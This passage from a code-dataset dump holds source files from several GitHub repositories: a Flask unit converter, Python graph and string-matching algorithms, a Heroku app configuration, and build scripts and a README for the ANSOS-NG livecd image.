"license_type": "no_license", "max_line_length": 101, "num_lines": 45, "path": "/server.py", "repo_name": "konitaku/unit-converter", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, SelectField\nfrom wtforms.validators import DataRequired\nfrom converter import convert\nimport os\n\napp = Flask(__name__)\napp.config[\"SECRET_KEY\"] = os.environ.get(\"SECRET_KEY\")\n\n\nclass ConvertForm(FlaskForm):\n number = StringField(validators=[DataRequired()], render_kw={\"placeholder\": \"数字を入力\"})\n unit_select1 = SelectField(\n choices=[(\"m\", \"メートル\"), (\"mile\", \"マイル\"), (\"yard\", \"ヤード\"), (\"feet\", \"フィート\"), (\"inch\", \"インチ\")],\n validators=[DataRequired()]\n )\n unit_select2 = SelectField(\n choices=[(\"m\", \"メートル\"), (\"mile\", \"マイル\"), (\"yard\", \"ヤード\"), (\"feet\", \"フィート\"), (\"inch\", \"インチ\")],\n validators=[DataRequired()]\n )\n\n\[email protected](\"/\", methods=[\"POST\", \"GET\"])\ndef home():\n form = ConvertForm()\n result = 0\n if form.validate_on_submit():\n result = convert(float(form.number.data), form.unit_select1.data, form.unit_select2.data)\n\n form = ConvertForm(\n number=form.number.data,\n unit_select1=form.unit_select1.data,\n unit_select2=form.unit_select2.data\n )\n return render_template(\"index.html\", form=form, pagename=\"home\", result=result)\n\n\[email protected](\"/other\")\ndef other():\n return render_template(\"other.html\")\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n" } ]
2
yuwang91/algofarm
https://github.com/yuwang91/algofarm
6fec72bc6d9b2ce4318b229e8dfc69d0794cbf5d
c07335a2e0e4b91e0d70012d1291885a865632f8
47bd223461eec164df86a2a190c363d85fa2a542
refs/heads/master
2021-04-06T00:22:25.622288
2018-04-24T01:42:48
2018-04-24T01:42:48
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4791257977485657, "alphanum_fraction": 0.48416924476623535, "avg_line_length": 24.489208221435547, "blob_id": "f4d25244c4e0ba47be3048471c6c0cb6b0fce3b9", "content_id": "1d49638a00bfc540e63a96b805810942b229f645", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3569, "license_type": "no_license", "max_line_length": 78, "num_lines": 139, "path": "/graph.py", "repo_name": "yuwang91/algofarm", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 14 22:20:21 2018\n\n@author: yuwan\n\"\"\"\n\nfrom collections import defaultdict, deque\nimport numpy as np\n\nclass Graph:\n def __init__(self):\n self.vertices = set()\n self.edges = defaultdict(dict)\n \n ### Initializing ###\n \n def addEdge(self, inp, out, weight = None, digraph = False):\n self.vertices.update([inp, out])\n self.edges[inp][out] = weight\n \n if not digraph:\n self.edges[out][inp] = weight\n \n def addEdgeSet(self, d):\n self.vertices.update(d.keys())\n for k in d:\n self.edges[k].update(d[k]) \n self.vertices.update(d[k].keys())\n \n \n ### Searching ###\n \n def BFS(self, inp, out):\n if inp == out:\n return True\n \n q = deque(self.edges[inp])\n visited = set()\n \n while q:\n nextvert = q.popleft()\n visited.add(nextvert)\n if nextvert == out:\n return True\n q.extend([k for k in self.edges[nextvert] if k not in visited])\n \n return False\n \n def DFS(self, inp, out):\n if inp == out:\n return True\n \n q = deque(self.edges[inp])\n visited = set()\n \n while q:\n nextvert = q.pop()\n visited.add(nextvert)\n if nextvert == out:\n return True\n q.extend([k for k in self.edges[nextvert] if k not in visited])\n \n return False\n \n ### Properties ###\n \n def alledges(self):\n edges = set()\n \n for i in self.edges:\n for j in self.edges[i]:\n edges.add((i,j,self.edges[i][j]))\n \n return edges\n\n\n\ndef dijkstra(graph, start, end):\n if start not in graph.vertices or end not in graph.vertices:\n return -1\n \n unvisited = set()\n unvisited |= graph.vertices\n \n shortestpath = {v: np.inf if v != start else 0 for v in graph.vertices}\n \n while unvisited:\n temp = {k: v for k, v in shortestpath.items() if k in unvisited}\n nextvert = min(temp, key = temp.get)\n if shortestpath[nextvert] == np.inf:\n return -1\n elif nextvert == end:\n return shortestpath[end]\n \n unvisited.remove(nextvert)\n \n for neighbor in graph.edges[nextvert]:\n templen = graph.edges[nextvert][neighbor] + shortestpath[nextvert]\n if templen < shortestpath[neighbor]:\n shortestpath[neighbor] = templen\n \n \n \ndef floydwarshall(graph):\n out = {i: {o: np.inf for o in graph.vertices} for i in graph.vertices}\n \n edges = graph.alledges()\n \n for i, j, d in edges:\n out[i][j] = d\n \n for i in graph.vertices:\n out[i][i] = 0\n \n for k in graph.vertices:\n for i in graph.vertices:\n for j in graph.vertices:\n if out[i][j] > out[i][k] + out[k][j]:\n out[i][j] = out[i][k] + out[k][j]\n \n return out\n \n \ndef bellmanford(g, source):\n dist = defaultdict(lambda:np.inf)\n pred = defaultdict(lambda:None)\n \n dist[source] = 0\n \n edges = g.alledges()\n \n for i in range(len(g.vertices)):\n for i, o, d in edges:\n if dist[i] + d < dist[o]:\n dist[o] = dist[i] + d\n pred[o] = i\n \n return dist\n \n \n " }, { "alpha_fraction": 0.5340531468391418, "alphanum_fraction": 0.5689368844032288, "avg_line_length": 23.100000381469727, "blob_id": "bab290ba4e8f3d9023da933d3a2dc750540ceb02", "content_id": "f58769d08057fa16c064d40923930b0aea8f21ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1204, "license_type": "no_license", "max_line_length": 79, "num_lines": 50, "path": "/suffix_array.py", "repo_name": "yuwang91/algofarm", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 23 20:53:10 2018\n\n@author: yuwan\n\nO(n log^2 n) implementation of a suffix array (good for 1e5 strings)\n\nlast row of suffixArray(word) gives the appropriately ordered suffix array\n\"\"\"\n\n\nfrom itertools import izip_longest\n\ndef findordering(l):\n ordering = {v: i for i, v in enumerate(sorted(set(l)))}\n return [ordering[ch] for ch in l]\n \ndef suffixArray(word):\n n = len(word)\n curr = findordering(word)\n out = [curr]\n k = 1\n while k < n:\n curr = findordering(list(izip_longest(curr, curr[k:], fillvalue = -1)))\n out.append(curr)\n k <<= 1\n return out\n \ndef sortedLocation(SA):\n return [SA.index(i) for i in range(len(SA))]\n \n \ndef LCP(word, index1, index2):\n #longest common prefix of 2 suffixes of a word\n arr = suffixArray(word)\n out = 0\n n = len(word)\n if index1 == index2:\n return n - index1\n curr1 = index1\n curr2 = index2\n for k in range(len(arr)-1, -1, -1):\n if curr1 >= n or curr2 >= n:\n return out\n if arr[k][curr1] == arr[k][curr2]:\n out += 1 << k\n curr1 += 1<< k\n curr2 += 1<<k\n return out" }, { "alpha_fraction": 0.521668016910553, "alphanum_fraction": 0.5355682969093323, "avg_line_length": 27.776470184326172, "blob_id": "80cdb23a53da0cf8f670efe4b63b2a003f63fdc1", "content_id": "2e40cd5e70f4f7fa0da9bd4638490c6f68ecd7bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2446, "license_type": "no_license", "max_line_length": 93, "num_lines": 85, "path": "/ac.py", "repo_name": "yuwang91/algofarm", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 14 20:30:28 2018\n\n@author: yuwan\n\"\"\"\n\n'''\nAhoCorasick algorithm for finding words in a given text.\n\noutput prints the index at which any word ends in a given text\n\nSample usage:\na = AhoCorasick()\na.createAlgo(['hi','bye','hihi'])\na.search('hi my name is hihi wow byehihihi')\n\nout:\n1: set(['hi'])\n15: set(['hi'])\n17: set(['hi', 'hihi'])\n25: set(['bye'])\n27: set(['hi'])\n29: set(['hi', 'hihi'])\n31: set(['hi', 'hihi'])\n'''\n\n\n\nfrom collections import defaultdict, deque\n\nclass AhoCorasick:\n def __init__(self):\n self.transitions = defaultdict(lambda: len(self.transitions) + 1)\n self.chars = defaultdict(set)\n self.failure = defaultdict(lambda: 0)\n self.outputs = defaultdict(set)\n \n def createAlgo(self, wordlist):\n if type(wordlist) != list:\n return\n else:\n for word in wordlist:\n self.addWord(word)\n self.addFailures()\n \n def addWord(self, word):\n state = 0\n \n for char in word:\n self.chars[state].add(char)\n state = self.transitions[state,char]\n \n self.outputs[state].add(word)\n \n def addFailures(self):\n q = deque(self.transitions[0, char] for char in self.chars[0])\n \n while q:\n state = q.popleft()\n \n for char in self.chars[state]:\n failstate = self.failure[state]\n while failstate and (failstate, char) not in self.transitions:\n failstate = self.failure[failstate]\n \n \n nextstate = self.transitions[state, char]\n \n self.failure[nextstate] = self.transitions[failstate, char] if \\\n (failstate, char) in self.transitions else 0\n self.outputs[nextstate].update(self.outputs[self.failure[nextstate]])\n \n q.append(nextstate)\n \n \n def search(self, text):\n state = 0\n \n for i, char in zip(range(len(text)), text):\n while state and (state, char) not in self.transitions:\n state = self.failure[state]\n state = self.transitions[state, char] if (state, char) in self.transitions else 0\n if self.outputs[state]:\n print '{}: {}'.format(i, self.outputs[state])\n" } ]
3
clee704/nwf-heroku
https://github.com/clee704/nwf-heroku
28060c98f64f216e65018ddff2474d0e36f4bf77
e42310fb4eff4eab297b11661121a9327d1e5e02
5a26be961743ce72938abd102a09b07b99c7cf5b
refs/heads/master
2018-12-30T07:17:20.192828
2014-04-24T13:16:45
2014-04-24T13:16:45
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.49867531657218933, "alphanum_fraction": 0.5010303258895874, "avg_line_length": 26.844263076782227, "blob_id": "afa899fb7f74aa2547b74bf3fe8063bf0e12c61f", "content_id": "ec736aaa59ee6b773d1a4229a86d9b916b3296d8", "detected_licenses": [ "LicenseRef-scancode-public-domain-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3397, "license_type": "permissive", "max_line_length": 75, "num_lines": 122, "path": "/app.py", "repo_name": "clee704/nwf-heroku", "src_encoding": "UTF-8", "text": "import logging.config\nimport os\nimport re\n\nfrom naverwebtoonfeeds.app import create_app\n\ndef get_env(specs):\n scope = {}\n for spec in specs:\n name = spec[0]\n decoder = spec[1]\n var_name = spec[2] if len(spec) > 2 else name\n text = os.environ.get(var_name)\n if text is None:\n continue\n if isinstance(decoder, Decoder):\n scope[name] = decoder.decode(text)\n else:\n scope[name] = decoder(text)\n return scope\n\nclass Decoder(object):\n def decode(self, text):\n raise NotImplementedError()\n\nclass Boolean(Decoder):\n def decode(self, text):\n if text.lower() in ('true', 'yes'):\n return True\n else:\n return False\n\nclass CommaSeparatedList(Decoder):\n def decode(self, text):\n return re.split(r'\\s*,\\s*', text.strip())\n\napp = create_app(get_env([\n ('SERVER_NAME', str),\n ('AUTHORITY_NAME', str),\n ('SQLALCHEMY_DATABASE_URI', str, 'DATABASE_URL'),\n ('DEBUG', Boolean()),\n ('ASSETS_DEBUG', Boolean()),\n ('PORT', int),\n ('GZIP', Boolean()),\n ('SEND_FILE_MAX_AGE_DEFAULT', int),\n ('REDIRECT_TO_CANONICAL_URL', Boolean()),\n ('CACHE_TYPE', str),\n ('CACHE_REDIS_URL', str, 'REDISTOGO_URL'),\n ('CACHE_KEY_PREFIX', str),\n ('USE_REDIS_QUEUE', Boolean()),\n ('START_HEROKU_WORKER_ON_REQUEST', Boolean()),\n ('HEROKU_API_KEY', str),\n ('HEROKU_APP_NAME', str),\n ('FETCH_ADULT_ONLY', Boolean()),\n ('NAVER_USERNAME', str),\n ('NAVER_PASSWORD', str),\n ('LOG_LEVEL', str),\n ('SQLALCHEMY_LOG_LEVEL', str),\n ('MAIL_TOADDRS', CommaSeparatedList()),\n ('GMAIL_USERNAME', str),\n ('GMAIL_PASSWORD', str),\n]))\n\nlogging.config.dictConfig({\n 'version': 1,\n 'disable_existing_loggers': True,\n 'formatters': {\n 'default': {\n 'format': '%(asctime)s [%(name)s] [%(levelname)s] %(message)s',\n 'datefmt': '%Y-%m-%d %H:%M:%S',\n },\n 'raw': {\n 'format': '%(message)s'\n },\n },\n 'handlers': {\n 'console': {\n 'level': 'DEBUG',\n 'class': 'logging.StreamHandler',\n 'formatter': 'default',\n },\n 'console_raw': {\n 'level': 'DEBUG',\n 'class': 'logging.StreamHandler',\n 'formatter': 'raw',\n },\n 'mail_admins': {\n 'level': 'ERROR',\n 'formatter': 'default',\n 'class': 'logging.handlers.SMTPHandler',\n 'toaddrs': app.config.get('MAIL_TOADDRS', []),\n 'fromaddr': 'nwf-logger@localhost',\n 'subject': 'Logging',\n 'mailhost': ('smtp.gmail.com', 587),\n 'credentials': (app.config.get('GMAIL_USERNAME'),\n app.config.get('GMAIL_PASSWORD')),\n 'secure': ()\n },\n 'null': {\n 'class': 'logging.NullHandler',\n },\n },\n 'root': {\n 'handlers': ['console', 'mail_admins'],\n },\n 'loggers': {\n 'naverwebtoonfeeds': {\n 'level': app.config.get('LOG_LEVEL', 'WARNING'),\n },\n 'sqlalchemy.engine': {\n 'level': app.config.get('SQLALCHEMY_LOG_LEVEL', 'WARNING'),\n },\n 'gunicorn.access': {\n 'handlers': ['console_raw'],\n 'level': 'INFO',\n 'propagate': False,\n },\n }\n})\n\nif __name__ == '__main__':\n app.run()\n" }, { "alpha_fraction": 0.6548672318458557, "alphanum_fraction": 0.769911527633667, "avg_line_length": 27.25, "blob_id": "d395d3670fefb898a564c114c386321c5fffd9e7", "content_id": "7ede15f81250615eb48a004d512adb10e2918e7c", "detected_licenses": [ "LicenseRef-scancode-public-domain-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 226, "license_type": "permissive", "max_line_length": 79, "num_lines": 8, "path": "/requirements.txt", "repo_name": "clee704/nwf-heroku", "src_encoding": "UTF-8", "text": "-e git://github.com/clee704/NaverWebtoonFeeds.git@4774ab3#egg=naverwebtoonfeeds\nMySQL-python==1.2.5\nredis==2.9.1\nrq==0.3.13\n-e git://github.com/clee704/[email protected]#egg=heroku\ngunicorn==18.0\nipython\nnewrelic\n" }, { "alpha_fraction": 0.6708860993385315, "alphanum_fraction": 0.6708860993385315, "avg_line_length": 21.571428298950195, "blob_id": "af5ab13892f86b08c8b41be8caba6ec2e5305108", "content_id": "3642cc3b5e63376b83edf63ef247a2b9a47b89a9", "detected_licenses": [ "LicenseRef-scancode-public-domain-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 158, "license_type": "permissive", "max_line_length": 46, "num_lines": 7, "path": "/manage.py", "repo_name": "clee704/nwf-heroku", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python\nfrom app import app\nfrom naverwebtoonfeeds.commands import manager\n\nif __name__ == '__main__':\n manager.app = app\n manager.run()\n" } ]
3
CyrilPeponnet/ANSOS-NG
https://github.com/CyrilPeponnet/ANSOS-NG
28e830b9ecb52ca083361afda20452479df0b457
23837074effc4abf3cc0c8d5a3933a0c2275c5e8
1d182c1680d3a9a3953d3532c9478cc4a6fbe653
refs/heads/master
2020-05-17T08:56:50.499244
2017-10-12T20:11:36
2017-10-12T20:11:36
21,624,951
3
5
null
2014-07-08T18:33:02
2017-07-30T23:13:44
2017-10-12T20:11:37
Python
[ { "alpha_fraction": 0.5930451154708862, "alphanum_fraction": 0.5993890762329102, "avg_line_length": 48.488372802734375, "blob_id": "f76d62b3786b6dfe529da845a026b5553d56efad", "content_id": "8859148c2bef20d0429fcb31380a5c24aa24d61a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 4256, "license_type": "no_license", "max_line_length": 236, "num_lines": 86, "path": "/recipe/Makefile.am", "repo_name": "CyrilPeponnet/ANSOS-NG", "src_encoding": "UTF-8", "text": "# Copyright (C) 2014 - Cyril Peponnet [email protected]\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; version 2 of the License.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n# MA 02110-1301, USA. A copy of the GNU General Public License is\n# also available at http://www.gnu.org/copyleft/gpl.html.\n\nPACKAGE = @PACKAGE_NAME@\nRECIPE = $(PACKAGE).ks\nPRODUCT = @PRODUCT_NAME@\nPRODUCT_SHORT ?= $(PRODUCT)\nPKG_FMT = iso\nFEDORA = @FEDORA@\nRHEL = @RHEL@\nDISTRO = @DISTRO@\nBUILD_TYPE ?= STABLE\nCENTOS = @CENTOS@\nARCH = $(shell rpm --eval '%{_arch}')\nANSOS_CREATOR = $(shell test -e ansos-creator && echo \"./ansos-creator\" || echo \"/usr/sbin/ansos-creator\")\n\nFEDORA_MIRROR = http://mirrors.fedoraproject.org/mirrorlist\nCUR_RAWHIDE = 21\nCUR_DEVEL = 21\n\nCENTOS_MIRROR = http://mirrorlist.centos.org/\nCENTOS_RELEASE = $(shell rpm --eval '%{centos}' |sed 's/[^0-9]//g')\n\n$(PACKAGE).ks: repos.ks version.ks\n\nrepos.ks:\n\t( \\\n if [ -n \"$(CENTOS)\" ]; then \\\n CENTOS_REPO_LINE=\"repo --name=centos --mirrorlist=$(CENTOS_MIRROR)?release=$(CENTOS_RELEASE)&arch=${ARCH}&repo=os\" ;\\\n UPDATES_REPO_LINE=\"repo --name=centos-updates --mirrorlist=$(CENTOS_MIRROR)?release=$(CENTOS_RELEASE)&arch=${ARCH}&repo=updates\" ;\\\n if [ \"$(CENTOS_RELEASE)\" == \"7\" ]; then \\\n EPEL_REPO_LINE=\"repo --name=epel --baseurl=http://dl.fedoraproject.org/pub/epel/$(CENTOS_RELEASE)/${ARCH}/\" ;\\\n else \\\n EPEL_REPO_LINE=\"repo --name=epel --baseurl=http://dl.fedoraproject.org/pub/epel/$(CENTOS_RELEASE)/${ARCH}/\" ;\\\n fi ;\\\n echo \"$${CENTOS_REPO_LINE}\" > repos.ks ;\\\n echo \"$${UPDATES_REPO_LINE}\" >> repos.ks ;\\\n echo \"$${EPEL_REPO_LINE}\" >> repos.ks ;\\\n elif [ -n \"$(FEDORA)\" ]; then \\\n if [ 0$(FEDORA) == 0$(CUR_RAWHIDE) ]; then \\\n FEDORA_REPO=rawhide ;\\\n FEDORA_REPO_LOC=\"$(if $(FEDORA_URL),--baseurl=$(FEDORA_URL)/development/rawhide/$(ARCH)/os,--mirrorlist=$(FEDORA_MIRROR)?repo=rawhide&arch=$(ARCH))\" ;\\\n elif [ 0$(FEDORA) == 0$(CUR_DEVEL) ]; then \\\n FEDORA_REPO=f$(FEDORA) ;\\\n FEDORA_REPO_LOC=\"$(if $(FEDORA_URL),--baseurl=$(FEDORA_URL)/development/$(FEDORA)/$(ARCH)/os,--mirrorlist=$(FEDORA_MIRROR)?repo=fedora-$(FEDORA)&arch=$(ARCH))\" ;\\\n UPDATE_REPO_LINE=\"repo --name=$${FEDORA_REPO}-updates-testing $(if $(FEDORA_URL),--baseurl=$(FEDORA_URL)/updates/testing/$(FEDORA)/${ARCH},--mirrorlist=$(FEDORA_MIRROR)?repo=updates-testing-f$(FEDORA)&arch=$(ARCH))\\n\" ;\\\n else \\\n FEDORA_REPO=f$(FEDORA) ;\\\n FEDORA_REPO_LOC=\"$(if $(FEDORA_URL),--baseurl=$(FEDORA_URL)/releases/$(FEDORA)/Everything/${ARCH}/os,--mirrorlist=$(FEDORA_MIRROR)?repo=fedora-$(FEDORA)&arch=$(ARCH))\" ;\\\n UPDATE_REPO_LINE=\"repo --name=$${FEDORA_REPO}-updates $(if $(FEDORA_URL),--baseurl=$(FEDORA_URL)/updates/$(FEDORA)/${ARCH},--mirrorlist=$(FEDORA_MIRROR)?repo=updates-released-f$(FEDORA)&arch=$(ARCH))\\n\" ;\\\n fi ;\\\n echo \"repo --name=$${FEDORA_REPO} $${FEDORA_REPO_LOC}\" > repos.ks ;\\\n printf \"$${UPDATE_REPO_LINE}\" >> repos.ks ;\\\n fi ;\\\n\t)\n\nversion.ks:\n\techo DISTRO $(DISTRO)\n\t( \\\n\t echo \"PRODUCT='\"$(PRODUCT)\"'\" ;\\\n\t echo \"PRODUCT_SHORT='\"$(PRODUCT_SHORT)\"'\" ;\\\n\t echo \"PACKAGE=$(PACKAGE)\" ;\\\n\t echo \"VERSION=$(VERSION)\" ;\\\n\t echo \"RELEASE=$(RELEASE)\" ;\\\n\t) > $@\n\n$(PACKAGE).$(PKG_FMT) node: version.ks repos.ks\n\trm -f $(PACKAGE_NAME).iso\n\t$(ANSOS_CREATOR) $(RECIPE)\n\tmv $(PACKAGE_NAME).iso $(PACKAGE_NAME)-$(DISTRO)-$(VERSION)-$(RELEASE).iso\n\n.PHONY: repos.ks version.ks $(PACKAGE).ks\n" }, { "alpha_fraction": 0.65852952003479, "alphanum_fraction": 0.6643417477607727, "avg_line_length": 31.77142906188965, "blob_id": "64df6225cdb9cdc9ef139816ae581a0ee0c16c36", "content_id": "f85d6d62e2550053fc5e3fdf8500d2d8b50f18b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 3441, "license_type": "no_license", "max_line_length": 113, "num_lines": 105, "path": "/recipe/ansos-creator", "repo_name": "CyrilPeponnet/ANSOS-NG", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# Copyright (C) 2014 - Cyril Peponnet [email protected]\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; version 2 of the License.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n# MA 02110-1301, USA. A copy of the GNU General Public License is\n# also available at http://www.gnu.org/copyleft/gpl.html.\n\n# Requires: sudo livecd-creator, sudo setenforce, ksflatten\n\nME=$(basename \"$0\")\nwarn() { printf '%s: %s\\n' \"$ME\" \"$*\" >&2; }\ndie() { warn \"$*\"; exit 1; }\n\nRECIPE=${RECIPE:-$1}\nif [ -z \"$RECIPE\" -o \"$RECIPE\" != \"${RECIPE#-}\" ]; then\n die \"Usage: $ME [<recipe.ks>]\"\nfi\nLABEL=$(basename \"$RECIPE\")\nLABEL=${LABEL%%.ks}\n\nANSOS_CACHE_DIR=\"${ANSOS_CACHE_DIR:-$HOME/ansos-cache}\"\nARCH=$(rpm --eval '%{_arch}')\nANSOS_TMP=\"$ANSOS_CACHE_DIR/ANSOS-creator-$ARCH-tmp\"\nmkdir -p \"$ANSOS_TMP\"\nANSOS_KS=\"$ANSOS_TMP/$LABEL.ks\"\n\nif pgrep -xl nscd; then\n die \"Please stop nscd first\"\nfi\n\necho \"# package needed by archipel, archipel RPMS will be added automaticaly\" > archipel-pkgs.ks\n\n# parsing our local repo and append package to archipel-pkgs.ks (set archipel-core as first archipel packages)\nfind ${ANSOS_LOCAL_REPO#*file://} -iname *.rpm -exec rpm -qp --qf \"%{NAME}\\n\" {} \\; | sort -r >> archipel-pkgs.ks\n\n# adding any extra packages\nif [ -n \"$ANSOS_EXTRA_PKGS\" ]; then\n for pkg in $ANSOS_EXTRA_PKGS; do\n echo $pkg >> archipel-pkgs.ks\n done\nfi\n\n# adding extra post\nif [ -n \"$ANSOS_EXTRA_POST\" ]; then\n ! [ -f archipel-post.ks.ori ] && cp archipel-post.ks archipel-post.ks.ori\n if [ -f \"$ANSOS_EXTRA_POST\" ]; then\n cat archipel-post.ks.ori \"$ANSOS_EXTRA_POST\" > archipel-post.ks\n else\n cat archipel-post.ks.ori > archipel-post.ks\n echo \"$ANSOS_EXTRA_POST\" >> archipel-post.ks\n fi\nfi\n\nrm -f \"$ANSOS_KS\" \"$ANSOS_KS.tmp\"\n# combine recipe includes\nksflatten --config \"$RECIPE\" --output \"$ANSOS_KS.tmp\"\n# XXX broken ksflatten leaves %include\nsed -i 's/^%include /#&/' \"$ANSOS_KS.tmp\"\n\n# adding our local repo\nif [ -n \"$ANSOS_LOCAL_REPO\" ]; then\n echo \"repo --name=local --baseurl=$ANSOS_LOCAL_REPO\" >> \"$ANSOS_KS\"\nfi\n\n# adding any extra repo\nif [ -n \"$ANSOS_EXTRA_REPO\" ]; then\n for repo in $ANSOS_EXTRA_REPO; do\n echo \"repo --name=extra-`uuidgen` --baseurl=$repo\" >> \"$ANSOS_KS\"\n done\nfi\n\ncat \"$ANSOS_KS.tmp\" >> \"$ANSOS_KS\"\nrm -f \"$ANSOS_KS.tmp\"\n\nmkdir -p \"$ANSOS_CACHE_DIR/yum-$ARCH\"\nSELINUX_ENFORCING=$(/usr/sbin/getenforce)\ncase \"$SELINUX_ENFORCING\" in\n Enforcing) sudo /usr/sbin/setenforce Permissive ;;\n Permissive) ;;\n *) if grep -q '^selinux --disabled' \"$ANSOS_KS\";\n then\n warn \"WARNING: SELinux disabled in kickstart\"\n else\n die \"ERROR: SELinux enabled in kickstart, \\\n but disabled on the build machine\"\n fi ;;\nesac\nsudo livecd-creator -c \"$ANSOS_KS\" -f \"$LABEL\" \\\n --tmpdir=\"$ANSOS_TMP\" \\\n --cache=\"$ANSOS_CACHE_DIR/yum-$ARCH\"\nif [ \"$SELINUX_ENFORCING\" = Enforcing ]; then\n sudo /usr/sbin/setenforce Enforcing\nfi\n" }, { "alpha_fraction": 0.7555137276649475, "alphanum_fraction": 0.7713824510574341, "avg_line_length": 37.72916793823242, "blob_id": "48bd3a44f1492ea32bc11ade5858ee3ee0171e82", "content_id": "80b79cf26400e88a0514966a6d6f3d54fd3c44fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3718, "license_type": "no_license", "max_line_length": 294, "num_lines": 96, "path": "/README.md", "repo_name": "CyrilPeponnet/ANSOS-NG", "src_encoding": "UTF-8", "text": "### This is ANSOS-NG !\n\nThis bunch of scripts and ks files are used to create a livecd image (stateless) for archipel. It's based on oVirt node work without all the oVirt things...\n\n### Why you don't use ovirt node anymore\n\nBecause ovirt node isn't really handy to configure for Archipel and because their lack of OpenVswitch support. Now building an ISO image is simplier as we don't rely on oVirt Node building processes.\n\n### Requirements\n\n```bash\nyum install install wget livecd-tools appliance-tools-minimizer fedora-packager python-devel rpm-build createrepo selinux-policy-doc checkpolicy selinux-policy-devel autoconf automake python-mock python-lockfile git\n```\n\nIf you want to build ovs, you need to add\n\nyum install gcc make openssl-devel kernel-devel graphviz kernel-debug-devel automake redhat-rpm-config libtool git\n\nFor centos7 you can find the livecd-tools here: http://people.centos.org/arrfab/CentOS7/LiveMedia/RPMS/\n\n### How to use\n\nInstall a build machine (you can use vagrant):\n\n`vagrant init \"vStone/centos-7.x-puppet.3.x\" && vagrant up`\n\nAdd epel:\n\n```bash\nyum install http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-10.noarch.rpm\n```\n\nInstall all required dependencies:\n\nFor centos7 you need to install livecd-tools from (not yet in EPEL repo):\n\n```\nyum install http://people.centos.org/arrfab/CentOS7/LiveMedia/RPMS/livecd-tools-20.1-3.el7.x86_64.rpm http://people.centos.org/arrfab/CentOS7/LiveMedia/RPMS/python-imgcreate-20.1-3.el7.x86_64.rpm http://people.centos.org/arrfab/CentOS7/LiveMedia/RPMS/hfsplus-tools-540.1.linux3-4.el7.x86_64.rpm\n```\n\nand appliance-tools-minimizer from epel6:\n\n```\nyum install http://dl.fedoraproject.org/pub/epel/6/i386/appliance-tools-minimizer-007.7-2.1.el6.noarch.rpm\n```\n\nInstall missing dependencies:\n\n```bash\nyum install install wget livecd-tools appliance-tools-minimizer fedora-packager python-devel rpm-build createrepo selinux-policy-doc checkpolicy selinux-policy-devel autoconf automake python-mock python-lockfile\n```\n\nEnable selinux:\n\nEdit `/etc/sysconfig/selinux`, set it to enforcing and reboot.\n\nAnd finally run:\n\n```bash\n# Download the build script\nwget https://raw.githubusercontent.com/CyrilPeponnet/ANSOS-NG/master/docker/buildANSOS.py\n\n# Run the build script with the recommended params from the Archipel Wiki\npython buildANSOS.py -Bc -e\n```\n\nYou can customize a lot of things just check with `python buildANSOS.py -h`.\n\nIf you want to build ANSOS-NG with OpenVSwitch, run: *(not working at the moment)*\n\n```bash\npython buildANSOS.py -Bc -e https://repos.fedorapeople.org/repos/openstack/openstack-juno/epel-7/ -p openvswitch\n```\n\nThis will build ANSOS-NG iso image based on Archipel git master and openVswitch from RDO repositories.\n\n### Docker build - beta\nAn attempt to use docker in order to build images can be found in docker folder. For now it doesn't work due to:\n * no selinux enforcing in docker containers\n * issue with /dev/mapper when resizing the iso image\n\nCheck the REAME.docker file for more information\n\n### Kernel boot parameters\n\n * You can set kernel options used by dracut (see dracut boot options) in order to define your ip/hostname | other\n * You can use the built-in node-config daemon to do it in an old way: `use_node_config BOOTIF=[MAC|ifname] ip=[IP|dhcp] netmask=IP dns=IP gw=IP`\n * If you want to disable ssh Password Authentication (only use keys) you can add `no_ssh_pwauth` too.\n\n### Post boot configuration\n\nPlease check https://github.com/ArchipelProject/Archipel/wiki/ANSOS:-Archipel-Node-Stateless-OS and adapt to ANSOS-NG\n\n### Notes\n\nIf livecd-creator complain about unresolved depencies for /bin/python, just change the order of /usr/bin in PATH env var to be before /bin. (centos7)\n" }, { "alpha_fraction": 0.6895368695259094, "alphanum_fraction": 0.6963979601860046, "avg_line_length": 32.31428527832031, "blob_id": "92372e8a9bc025a298decda4f4e8d87a3f927ece", "content_id": "f5a58254d46d6e54362026ae310cfc1b0c9c0ffb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "M4Sugar", "length_bytes": 2332, "license_type": "no_license", "max_line_length": 